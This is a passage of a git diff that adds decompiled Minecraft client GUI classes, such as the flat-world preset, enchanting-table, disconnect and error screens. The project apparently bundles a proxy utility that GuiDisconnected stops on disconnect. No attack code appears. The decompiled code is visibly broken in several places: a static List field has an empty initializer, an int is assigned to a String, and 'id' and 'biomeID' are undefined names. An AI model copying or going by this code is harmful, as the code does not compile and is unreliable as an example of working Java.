+  }
+  
+  private void func_175329_a(boolean p_175329_1_)
+  {
+    field_175352_x.visible = p_175329_1_;
+    field_175351_y.visible = p_175329_1_;
+    field_175347_t.enabled = (!p_175329_1_);
+    field_175348_s.enabled = (!p_175329_1_);
+    field_175345_v.enabled = (!p_175329_1_);
+    field_175344_w.enabled = (!p_175329_1_);
+    field_175346_u.enabled = (!p_175329_1_);
+    field_175350_z.enabled = (!p_175329_1_);
+  }
+  
+  private void func_175328_i()
+  {
+    field_175345_v.enabled = (field_175349_r.func_178059_e() != 0);
+    field_175344_w.enabled = (field_175349_r.func_178059_e() != field_175349_r.func_178057_f() - 1);
+    field_175333_f = I18n.format("book.pageIndicator", new Object[] { Integer.valueOf(field_175349_r.func_178059_e() + 1), Integer.valueOf(field_175349_r.func_178057_f()) });
+    field_175335_g = field_175342_h[field_175349_r.func_178059_e()];
+    field_175347_t.enabled = (field_175349_r.func_178059_e() != field_175349_r.func_178057_f() - 1);
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    super.keyTyped(typedChar, keyCode);
+    
+    if (field_175339_B == 0)
+    {
+      switch (keyCode)
+      {
+      case 200: 
+        func_175327_a(1.0F);
+        break;
+      
+      case 208: 
+        func_175327_a(-1.0F);
+        break;
+      
+      default: 
+        field_175349_r.func_178062_a(typedChar, keyCode);
+      }
+    }
+  }
+  
+  private void func_175327_a(float p_175327_1_)
+  {
+    Gui var2 = field_175349_r.func_178056_g();
+    
+    if ((var2 instanceof GuiTextField))
+    {
+      float var3 = p_175327_1_;
+      
+      if (GuiScreen.isShiftKeyDown())
+      {
+        var3 = p_175327_1_ * 0.1F;
+        
+        if (GuiScreen.isCtrlKeyDown())
+        {
+          var3 *= 0.1F;
+        }
+      }
+      else if (GuiScreen.isCtrlKeyDown())
+      {
+        var3 = p_175327_1_ * 10.0F;
+        
+        if (GuiScreen.func_175283_s())
+        {
+          var3 *= 10.0F;
+        }
+      }
+      
+      GuiTextField var4 = (GuiTextField)var2;
+      Float var5 = Floats.tryParse(var4.getText());
+      
+      if (var5 != null)
+      {
+        var5 = Float.valueOf(var5.floatValue() + var3);
+        int var6 = var4.func_175206_d();
+        String var7 = func_175330_b(var4.func_175206_d(), var5.floatValue());
+        var4.setText(var7);
+        func_175319_a(var6, var7);
+      }
+    }
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+    
+    if ((field_175339_B == 0) && (!field_175340_C))
+    {
+      field_175349_r.func_148179_a(mouseX, mouseY, mouseButton);
+    }
+  }
+  
+
+
+
+  protected void mouseReleased(int mouseX, int mouseY, int state)
+  {
+    super.mouseReleased(mouseX, mouseY, state);
+    
+    if (field_175340_C)
+    {
+      field_175340_C = false;
+    }
+    else if (field_175339_B == 0)
+    {
+      field_175349_r.func_148181_b(mouseX, mouseY, state);
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    field_175349_r.drawScreen(mouseX, mouseY, partialTicks);
+    drawCenteredString(fontRendererObj, field_175341_a, width / 2, 2, 16777215);
+    drawCenteredString(fontRendererObj, field_175333_f, width / 2, 12, 16777215);
+    drawCenteredString(fontRendererObj, field_175335_g, width / 2, 22, 16777215);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+    
+    if (field_175339_B != 0)
+    {
+      drawRect(0.0D, 0.0D, width, height, Integer.MIN_VALUE);
+      drawHorizontalLine(width / 2 - 91, width / 2 + 90, 99, -2039584);
+      drawHorizontalLine(width / 2 - 91, width / 2 + 90, 185, -6250336);
+      drawVerticalLine(width / 2 - 91, 99, 185, -2039584);
+      drawVerticalLine(width / 2 + 90, 99, 185, -6250336);
+      float var4 = 85.0F;
+      float var5 = 180.0F;
+      GlStateManager.disableLighting();
+      GlStateManager.disableFog();
+      Tessellator var6 = Tessellator.getInstance();
+      WorldRenderer var7 = var6.getWorldRenderer();
+      mc.getTextureManager().bindTexture(optionsBackground);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      float var8 = 32.0F;
+      var7.startDrawingQuads();
+      var7.func_178991_c(4210752);
+      var7.addVertexWithUV(width / 2 - 90, 185.0D, 0.0D, 0.0D, 2.65625D);
+      var7.addVertexWithUV(width / 2 + 90, 185.0D, 0.0D, 5.625D, 2.65625D);
+      var7.addVertexWithUV(width / 2 + 90, 100.0D, 0.0D, 5.625D, 0.0D);
+      var7.addVertexWithUV(width / 2 - 90, 100.0D, 0.0D, 0.0D, 0.0D);
+      var6.draw();
+      drawCenteredString(fontRendererObj, I18n.format("createWorld.customize.custom.confirmTitle", new Object[0]), width / 2, 105, 16777215);
+      drawCenteredString(fontRendererObj, I18n.format("createWorld.customize.custom.confirm1", new Object[0]), width / 2, 125, 16777215);
+      drawCenteredString(fontRendererObj, I18n.format("createWorld.customize.custom.confirm2", new Object[0]), width / 2, 135, 16777215);
+      field_175352_x.drawButton(mc, mouseX, mouseY);
+      field_175351_y.drawButton(mc, mouseX, mouseY);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiDisconnected.java b/src/minecraft/net/minecraft/client/gui/GuiDisconnected.java
new file mode 100644
index 0000000..068336a
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiDisconnected.java
@@ -0,0 +1,74 @@
+package net.minecraft.client.gui;
+
+import com.enjoytheban.utils.proxy.ProxyConfig;
+import java.io.IOException;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.util.IChatComponent;
+
+public class GuiDisconnected
+  extends GuiScreen
+{
+  private String reason;
+  private IChatComponent message;
+  private List multilineMessage;
+  private final GuiScreen parentScreen;
+  private int field_175353_i;
+  private static final String __OBFID = "CL_00000693";
+  
+  public GuiDisconnected(GuiScreen p_i45020_1_, String p_i45020_2_, IChatComponent p_i45020_3_)
+  {
+    parentScreen = p_i45020_1_;
+    reason = I18n.format(p_i45020_2_, new Object[0]);
+    message = p_i45020_3_;
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {}
+  
+
+
+  public void initGui()
+  {
+    buttonList.clear();
+    multilineMessage = fontRendererObj.listFormattedStringToWidth(message.getFormattedText(), width - 50);
+    field_175353_i = (multilineMessage.size() * fontRendererObj.FONT_HEIGHT);
+    buttonList.add(new GuiButton(0, width / 2 - 100, height / 2 + field_175353_i / 2 + fontRendererObj.FONT_HEIGHT, I18n.format("gui.toMenu", new Object[0])));
+    ProxyConfig.stop();
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (id == 0)
+    {
+      mc.displayGuiScreen(parentScreen);
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, reason, width / 2, height / 2 - field_175353_i / 2 - fontRendererObj.FONT_HEIGHT * 2, 11184810);
+    int var4 = height / 2 - field_175353_i / 2;
+    
+    if (multilineMessage != null)
+    {
+      for (Iterator var5 = multilineMessage.iterator(); var5.hasNext(); var4 += fontRendererObj.FONT_HEIGHT)
+      {
+        String var6 = (String)var5.next();
+        drawCenteredString(fontRendererObj, var6, width / 2, var4, 16777215);
+      }
+    }
+    
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiDownloadTerrain.java b/src/minecraft/net/minecraft/client/gui/GuiDownloadTerrain.java
new file mode 100644
index 0000000..6831262
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiDownloadTerrain.java
@@ -0,0 +1,63 @@
+package net.minecraft.client.gui;
+
+import java.io.IOException;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.network.play.client.C00PacketKeepAlive;
+
+public class GuiDownloadTerrain extends GuiScreen
+{
+  private NetHandlerPlayClient netHandlerPlayClient;
+  private int progress;
+  private static final String __OBFID = "CL_00000708";
+  
+  public GuiDownloadTerrain(NetHandlerPlayClient p_i45023_1_)
+  {
+    netHandlerPlayClient = p_i45023_1_;
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {}
+  
+
+
+  public void initGui()
+  {
+    buttonList.clear();
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    progress += 1;
+    
+    if (progress % 20 == 0)
+    {
+      netHandlerPlayClient.addToSendQueue(new C00PacketKeepAlive());
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawBackground(0);
+    drawCenteredString(fontRendererObj, I18n.format("multiplayer.downloadingTerrain", new Object[0]), width / 2, height / 2 - 50, 16777215);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+
+
+
+  public boolean doesGuiPauseGame()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiEnchantment.java b/src/minecraft/net/minecraft/client/gui/GuiEnchantment.java
new file mode 100644
index 0000000..4f5d500
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiEnchantment.java
@@ -0,0 +1,339 @@
+package net.minecraft.client.gui;
+
+import java.util.ArrayList;
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.gui.inventory.GuiContainer;
+import net.minecraft.client.model.ModelBook;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.RenderHelper;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.enchantment.Enchantment;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.inventory.ContainerEnchantment;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.EnchantmentNameParts;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.IWorldNameable;
+
+public class GuiEnchantment extends GuiContainer
+{
+  private static final ResourceLocation field_147078_C = new ResourceLocation("textures/gui/container/enchanting_table.png");
+  private static final ResourceLocation field_147070_D = new ResourceLocation("textures/entity/enchanting_table_book.png");
+  private static final ModelBook field_147072_E = new ModelBook();
+  private final InventoryPlayer field_175379_F;
+  private Random field_147074_F = new Random();
+  private ContainerEnchantment field_147075_G;
+  public int field_147073_u;
+  public float field_147071_v;
+  public float field_147069_w;
+  public float field_147082_x;
+  public float field_147081_y;
+  public float field_147080_z;
+  public float field_147076_A;
+  ItemStack field_147077_B;
+  private final IWorldNameable field_175380_I;
+  private static final String __OBFID = "CL_00000757";
+  
+  public GuiEnchantment(InventoryPlayer p_i45502_1_, net.minecraft.world.World worldIn, IWorldNameable p_i45502_3_)
+  {
+    super(new ContainerEnchantment(p_i45502_1_, worldIn));
+    field_175379_F = p_i45502_1_;
+    field_147075_G = ((ContainerEnchantment)inventorySlots);
+    field_175380_I = p_i45502_3_;
+  }
+  
+
+
+
+  protected void drawGuiContainerForegroundLayer(int mouseX, int mouseY)
+  {
+    fontRendererObj.drawString(field_175380_I.getDisplayName().getUnformattedText(), 12, 5, 4210752);
+    fontRendererObj.drawString(field_175379_F.getDisplayName().getUnformattedText(), 8, ySize - 96 + 2, 4210752);
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    super.updateScreen();
+    func_147068_g();
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws java.io.IOException
+  {
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+    int var4 = (width - xSize) / 2;
+    int var5 = (height - ySize) / 2;
+    
+    for (int var6 = 0; var6 < 3; var6++)
+    {
+      int var7 = mouseX - (var4 + 60);
+      int var8 = mouseY - (var5 + 14 + 19 * var6);
+      
+      if ((var7 >= 0) && (var8 >= 0) && (var7 < 108) && (var8 < 19) && (field_147075_G.enchantItem(mc.thePlayer, var6)))
+      {
+        mc.playerController.sendEnchantPacket(field_147075_G.windowId, var6);
+      }
+    }
+  }
+  
+
+
+
+  protected void drawGuiContainerBackgroundLayer(float partialTicks, int mouseX, int mouseY)
+  {
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(field_147078_C);
+    int var4 = (width - xSize) / 2;
+    int var5 = (height - ySize) / 2;
+    drawTexturedModalRect(var4, var5, 0, 0, xSize, ySize);
+    GlStateManager.pushMatrix();
+    GlStateManager.matrixMode(5889);
+    GlStateManager.pushMatrix();
+    GlStateManager.loadIdentity();
+    ScaledResolution var6 = new ScaledResolution(mc);
+    GlStateManager.viewport((var6.getScaledWidth() - 320) / 2 * var6.getScaleFactor(), (var6.getScaledHeight() - 240) / 2 * var6.getScaleFactor(), 320 * var6.getScaleFactor(), 240 * var6.getScaleFactor());
+    GlStateManager.translate(-0.34F, 0.23F, 0.0F);
+    org.lwjgl.util.glu.Project.gluPerspective(90.0F, 1.3333334F, 9.0F, 80.0F);
+    float var7 = 1.0F;
+    GlStateManager.matrixMode(5888);
+    GlStateManager.loadIdentity();
+    RenderHelper.enableStandardItemLighting();
+    GlStateManager.translate(0.0F, 3.3F, -16.0F);
+    GlStateManager.scale(var7, var7, var7);
+    float var8 = 5.0F;
+    GlStateManager.scale(var8, var8, var8);
+    GlStateManager.rotate(180.0F, 0.0F, 0.0F, 1.0F);
+    mc.getTextureManager().bindTexture(field_147070_D);
+    GlStateManager.rotate(20.0F, 1.0F, 0.0F, 0.0F);
+    float var9 = field_147076_A + (field_147080_z - field_147076_A) * partialTicks;
+    GlStateManager.translate((1.0F - var9) * 0.2F, (1.0F - var9) * 0.1F, (1.0F - var9) * 0.25F);
+    GlStateManager.rotate(-(1.0F - var9) * 90.0F - 90.0F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(180.0F, 1.0F, 0.0F, 0.0F);
+    float var10 = field_147069_w + (field_147071_v - field_147069_w) * partialTicks + 0.25F;
+    float var11 = field_147069_w + (field_147071_v - field_147069_w) * partialTicks + 0.75F;
+    var10 = (var10 - MathHelper.truncateDoubleToInt(var10)) * 1.6F - 0.3F;
+    var11 = (var11 - MathHelper.truncateDoubleToInt(var11)) * 1.6F - 0.3F;
+    
+    if (var10 < 0.0F)
+    {
+      var10 = 0.0F;
+    }
+    
+    if (var11 < 0.0F)
+    {
+      var11 = 0.0F;
+    }
+    
+    if (var10 > 1.0F)
+    {
+      var10 = 1.0F;
+    }
+    
+    if (var11 > 1.0F)
+    {
+      var11 = 1.0F;
+    }
+    
+    GlStateManager.enableRescaleNormal();
+    field_147072_E.render(null, 0.0F, var10, var11, var9, 0.0F, 0.0625F);
+    GlStateManager.disableRescaleNormal();
+    RenderHelper.disableStandardItemLighting();
+    GlStateManager.matrixMode(5889);
+    GlStateManager.viewport(0, 0, mc.displayWidth, mc.displayHeight);
+    GlStateManager.popMatrix();
+    GlStateManager.matrixMode(5888);
+    GlStateManager.popMatrix();
+    RenderHelper.disableStandardItemLighting();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    EnchantmentNameParts.func_178176_a().reseedRandomGenerator(field_147075_G.field_178149_f);
+    int var12 = field_147075_G.func_178147_e();
+    
+    for (int var13 = 0; var13 < 3; var13++)
+    {
+      int var14 = var4 + 60;
+      int var15 = var14 + 20;
+      byte var16 = 86;
+      String var17 = EnchantmentNameParts.func_178176_a().generateNewRandomName();
+      zLevel = 0.0F;
+      mc.getTextureManager().bindTexture(field_147078_C);
+      int var18 = field_147075_G.enchantLevels[var13];
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      
+      if (var18 == 0)
+      {
+        drawTexturedModalRect(var14, var5 + 14 + 19 * var13, 0, 185, 108, 19);
+      }
+      else
+      {
+        String var19 = var18;
+        FontRenderer var20 = mc.standardGalacticFontRenderer;
+        int var21 = 6839882;
+        
+        if (((var12 < var13 + 1) || (mc.thePlayer.experienceLevel < var18)) && (!mc.thePlayer.capabilities.isCreativeMode))
+        {
+          drawTexturedModalRect(var14, var5 + 14 + 19 * var13, 0, 185, 108, 19);
+          drawTexturedModalRect(var14 + 1, var5 + 15 + 19 * var13, 16 * var13, 239, 16, 16);
+          var20.drawSplitString(var17, var15, var5 + 16 + 19 * var13, var16, (var21 & 0xFEFEFE) >> 1);
+          var21 = 4226832;
+        }
+        else
+        {
+          int var22 = mouseX - (var4 + 60);
+          int var23 = mouseY - (var5 + 14 + 19 * var13);
+          
+          if ((var22 >= 0) && (var23 >= 0) && (var22 < 108) && (var23 < 19))
+          {
+            drawTexturedModalRect(var14, var5 + 14 + 19 * var13, 0, 204, 108, 19);
+            var21 = 16777088;
+          }
+          else
+          {
+            drawTexturedModalRect(var14, var5 + 14 + 19 * var13, 0, 166, 108, 19);
+          }
+          
+          drawTexturedModalRect(var14 + 1, var5 + 15 + 19 * var13, 16 * var13, 223, 16, 16);
+          var20.drawSplitString(var17, var15, var5 + 16 + 19 * var13, var16, var21);
+          var21 = 8453920;
+        }
+        
+        var20 = mc.fontRendererObj;
+        var20.drawStringWithShadow(var19, var15 + 86 - var20.getStringWidth(var19), var5 + 16 + 19 * var13 + 7, var21);
+      }
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    super.drawScreen(mouseX, mouseY, partialTicks);
+    boolean var4 = mc.thePlayer.capabilities.isCreativeMode;
+    int var5 = field_147075_G.func_178147_e();
+    
+    for (int var6 = 0; var6 < 3; var6++)
+    {
+      int var7 = field_147075_G.enchantLevels[var6];
+      int var8 = field_147075_G.field_178151_h[var6];
+      int var9 = var6 + 1;
+      
+      if ((isPointInRegion(60, 14 + 19 * var6, 108, 17, mouseX, mouseY)) && (var7 > 0) && (var8 >= 0))
+      {
+        ArrayList var10 = com.google.common.collect.Lists.newArrayList();
+        
+
+        if ((var8 >= 0) && (Enchantment.func_180306_c(var8 & 0xFF) != null))
+        {
+          String var11 = Enchantment.func_180306_c(var8 & 0xFF).getTranslatedName((var8 & 0xFF00) >> 8);
+          var10.add(EnumChatFormatting.WHITE.toString() + EnumChatFormatting.ITALIC.toString() + I18n.format("container.enchant.clue", new Object[] { var11 }));
+        }
+        
+        if (!var4)
+        {
+          if (var8 >= 0)
+          {
+            var10.add("");
+          }
+          
+          if (mc.thePlayer.experienceLevel < var7)
+          {
+            var10.add(EnumChatFormatting.RED.toString() + "Level Requirement: " + field_147075_G.enchantLevels[var6]);
+          }
+          else
+          {
+            String var11 = "";
+            
+            if (var9 == 1)
+            {
+              var11 = I18n.format("container.enchant.lapis.one", new Object[0]);
+            }
+            else
+            {
+              var11 = I18n.format("container.enchant.lapis.many", new Object[] { Integer.valueOf(var9) });
+            }
+            
+            if (var5 >= var9)
+            {
+              var10.add(EnumChatFormatting.GRAY.toString() + var11);
+            }
+            else
+            {
+              var10.add(EnumChatFormatting.RED.toString() + var11);
+            }
+            
+            if (var9 == 1)
+            {
+              var11 = I18n.format("container.enchant.level.one", new Object[0]);
+            }
+            else
+            {
+              var11 = I18n.format("container.enchant.level.many", new Object[] { Integer.valueOf(var9) });
+            }
+            
+            var10.add(EnumChatFormatting.GRAY.toString() + var11);
+          }
+        }
+        
+        drawHoveringText(var10, mouseX, mouseY);
+        break;
+      }
+    }
+  }
+  
+  public void func_147068_g()
+  {
+    ItemStack var1 = inventorySlots.getSlot(0).getStack();
+    
+    if (!ItemStack.areItemStacksEqual(var1, field_147077_B))
+    {
+      field_147077_B = var1;
+      
+      do
+      {
+        field_147082_x += field_147074_F.nextInt(4) - field_147074_F.nextInt(4);
+      }
+      while ((field_147071_v <= field_147082_x + 1.0F) && (field_147071_v >= field_147082_x - 1.0F));
+    }
+    
+    field_147073_u += 1;
+    field_147069_w = field_147071_v;
+    field_147076_A = field_147080_z;
+    boolean var2 = false;
+    
+    for (int var3 = 0; var3 < 3; var3++)
+    {
+      if (field_147075_G.enchantLevels[var3] != 0)
+      {
+        var2 = true;
+      }
+    }
+    
+    if (var2)
+    {
+      field_147080_z += 0.2F;
+    }
+    else
+    {
+      field_147080_z -= 0.2F;
+    }
+    
+    field_147080_z = MathHelper.clamp_float(field_147080_z, 0.0F, 1.0F);
+    float var5 = (field_147082_x - field_147071_v) * 0.4F;
+    float var4 = 0.2F;
+    var5 = MathHelper.clamp_float(var5, -var4, var4);
+    field_147081_y += (var5 - field_147081_y) * 0.9F;
+    field_147071_v += field_147081_y;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiErrorScreen.java b/src/minecraft/net/minecraft/client/gui/GuiErrorScreen.java
new file mode 100644
index 0000000..ef6bfd4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiErrorScreen.java
@@ -0,0 +1,48 @@
+package net.minecraft.client.gui;
+
+import java.io.IOException;
+import net.minecraft.client.Minecraft;
+
+public class GuiErrorScreen extends GuiScreen
+{
+  private String field_146313_a;
+  private String field_146312_f;
+  private static final String __OBFID = "CL_00000696";
+  
+  public GuiErrorScreen(String p_i46319_1_, String p_i46319_2_)
+  {
+    field_146313_a = p_i46319_1_;
+    field_146312_f = p_i46319_2_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    super.initGui();
+    buttonList.add(new GuiButton(0, width / 2 - 100, 140, net.minecraft.client.resources.I18n.format("gui.cancel", new Object[0])));
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawGradientRect(0, 0, width, height, -12574688, -11530224);
+    drawCenteredString(fontRendererObj, field_146313_a, width / 2, 90, 16777215);
+    drawCenteredString(fontRendererObj, field_146312_f, width / 2, 110, 16777215);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {}
+  
+  protected void actionPerformed(GuiButton button)
+    throws IOException
+  {
+    mc.displayGuiScreen(null);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiFlatPresets.java b/src/minecraft/net/minecraft/client/gui/GuiFlatPresets.java
new file mode 100644
index 0000000..7d630a0
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiFlatPresets.java
@@ -0,0 +1,279 @@
+package net.minecraft.client.gui;
+
+import com.google.common.collect.Maps;
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.block.BlockTallGrass.EnumType;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.RenderHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.gen.FlatGeneratorInfo;
+import net.minecraft.world.gen.FlatLayerInfo;
+import org.lwjgl.input.Keyboard;
+
+public class GuiFlatPresets extends GuiScreen
+{
+  private static final List field_146431_f = ;
+  private final GuiCreateFlatWorld field_146432_g;
+  private String field_146438_h;
+  private String field_146439_i;
+  private String field_146436_r;
+  private ListSlot field_146435_s;
+  private GuiButton field_146434_t;
+  private GuiTextField field_146433_u;
+  private static final String __OBFID = "CL_00000704";
+  
+  public GuiFlatPresets(GuiCreateFlatWorld p_i46318_1_)
+  {
+    field_146432_g = p_i46318_1_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    buttonList.clear();
+    Keyboard.enableRepeatEvents(true);
+    field_146438_h = I18n.format("createWorld.customize.presets.title", new Object[0]);
+    field_146439_i = I18n.format("createWorld.customize.presets.share", new Object[0]);
+    field_146436_r = I18n.format("createWorld.customize.presets.list", new Object[0]);
+    field_146433_u = new GuiTextField(2, fontRendererObj, 50, 40, width - 100, 20);
+    field_146435_s = new ListSlot();
+    field_146433_u.setMaxStringLength(1230);
+    field_146433_u.setText(field_146432_g.func_146384_e());
+    buttonList.add(this.field_146434_t = new GuiButton(0, width / 2 - 155, height - 28, 150, 20, I18n.format("createWorld.customize.presets.select", new Object[0])));
+    buttonList.add(new GuiButton(1, width / 2 + 5, height - 28, 150, 20, I18n.format("gui.cancel", new Object[0])));
+    func_146426_g();
+  }
+  
+
+
+  public void handleMouseInput()
+    throws IOException
+  {
+    super.handleMouseInput();
+    field_146435_s.func_178039_p();
+  }
+  
+
+
+
+  public void onGuiClosed()
+  {
+    Keyboard.enableRepeatEvents(false);
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    field_146433_u.mouseClicked(mouseX, mouseY, mouseButton);
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    if (!field_146433_u.textboxKeyTyped(typedChar, keyCode))
+    {
+      super.keyTyped(typedChar, keyCode);
+    }
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if ((id == 0) && (func_146430_p()))
+    {
+      field_146432_g.func_146383_a(field_146433_u.getText());
+      mc.displayGuiScreen(field_146432_g);
+    }
+    else if (id == 1)
+    {
+      mc.displayGuiScreen(field_146432_g);
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    field_146435_s.drawScreen(mouseX, mouseY, partialTicks);
+    drawCenteredString(fontRendererObj, field_146438_h, width / 2, 8, 16777215);
+    drawString(fontRendererObj, field_146439_i, 50, 30, 10526880);
+    drawString(fontRendererObj, field_146436_r, 50, 70, 10526880);
+    field_146433_u.drawTextBox();
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    field_146433_u.updateCursorCounter();
+    super.updateScreen();
+  }
+  
+  public void func_146426_g()
+  {
+    boolean var1 = func_146430_p();
+    field_146434_t.enabled = var1;
+  }
+  
+  private boolean func_146430_p()
+  {
+    return ((field_146435_s.field_148175_k > -1) && (field_146435_s.field_148175_k < field_146431_f.size())) || (field_146433_u.getText().length() > 1);
+  }
+  
+  private static void func_146425_a(String p_146425_0_, Item p_146425_1_, BiomeGenBase p_146425_2_, FlatLayerInfo... p_146425_3_)
+  {
+    func_175354_a(p_146425_0_, p_146425_1_, 0, p_146425_2_, null, p_146425_3_);
+  }
+  
+  private static void func_146421_a(String p_146421_0_, Item p_146421_1_, BiomeGenBase p_146421_2_, List p_146421_3_, FlatLayerInfo... p_146421_4_)
+  {
+    func_175354_a(p_146421_0_, p_146421_1_, 0, p_146421_2_, p_146421_3_, p_146421_4_);
+  }
+  
+  private static void func_175354_a(String p_175354_0_, Item p_175354_1_, int p_175354_2_, BiomeGenBase p_175354_3_, List p_175354_4_, FlatLayerInfo... p_175354_5_)
+  {
+    FlatGeneratorInfo var6 = new FlatGeneratorInfo();
+    
+    for (int var7 = p_175354_5_.length - 1; var7 >= 0; var7--)
+    {
+      var6.getFlatLayers().add(p_175354_5_[var7]);
+    }
+    
+    var6.setBiome(biomeID);
+    var6.func_82645_d();
+    
+    if (p_175354_4_ != null)
+    {
+      Iterator var9 = p_175354_4_.iterator();
+      
+      while (var9.hasNext())
+      {
+        String var8 = (String)var9.next();
+        var6.getWorldFeatures().put(var8, Maps.newHashMap());
+      }
+    }
+    
+    field_146431_f.add(new LayerItem(p_175354_1_, p_175354_2_, p_175354_0_, var6.toString()));
+  }
+  
+  static
+  {
+    func_146421_a("Classic Flat", Item.getItemFromBlock(Blocks.grass), BiomeGenBase.plains, Arrays.asList(new String[] { "village" }), new FlatLayerInfo[] { new FlatLayerInfo(1, Blocks.grass), new FlatLayerInfo(2, Blocks.dirt), new FlatLayerInfo(1, Blocks.bedrock) });
+    func_146421_a("Tunnelers' Dream", Item.getItemFromBlock(Blocks.stone), BiomeGenBase.extremeHills, Arrays.asList(new String[] { "biome_1", "dungeon", "decoration", "stronghold", "mineshaft" }), new FlatLayerInfo[] { new FlatLayerInfo(1, Blocks.grass), new FlatLayerInfo(5, Blocks.dirt), new FlatLayerInfo(230, Blocks.stone), new FlatLayerInfo(1, Blocks.bedrock) });
+    func_146421_a("Water World", Items.water_bucket, BiomeGenBase.deepOcean, Arrays.asList(new String[] { "biome_1", "oceanmonument" }), new FlatLayerInfo[] { new FlatLayerInfo(90, Blocks.water), new FlatLayerInfo(5, Blocks.sand), new FlatLayerInfo(5, Blocks.dirt), new FlatLayerInfo(5, Blocks.stone), new FlatLayerInfo(1, Blocks.bedrock) });
+    func_175354_a("Overworld", Item.getItemFromBlock(Blocks.tallgrass), BlockTallGrass.EnumType.GRASS.func_177044_a(), BiomeGenBase.plains, Arrays.asList(new String[] { "village", "biome_1", "decoration", "stronghold", "mineshaft", "dungeon", "lake", "lava_lake" }), new FlatLayerInfo[] { new FlatLayerInfo(1, Blocks.grass), new FlatLayerInfo(3, Blocks.dirt), new FlatLayerInfo(59, Blocks.stone), new FlatLayerInfo(1, Blocks.bedrock) });
+    func_146421_a("Snowy Kingdom", Item.getItemFromBlock(Blocks.snow_layer), BiomeGenBase.icePlains, Arrays.asList(new String[] { "village", "biome_1" }), new FlatLayerInfo[] { new FlatLayerInfo(1, Blocks.snow_layer), new FlatLayerInfo(1, Blocks.grass), new FlatLayerInfo(3, Blocks.dirt), new FlatLayerInfo(59, Blocks.stone), new FlatLayerInfo(1, Blocks.bedrock) });
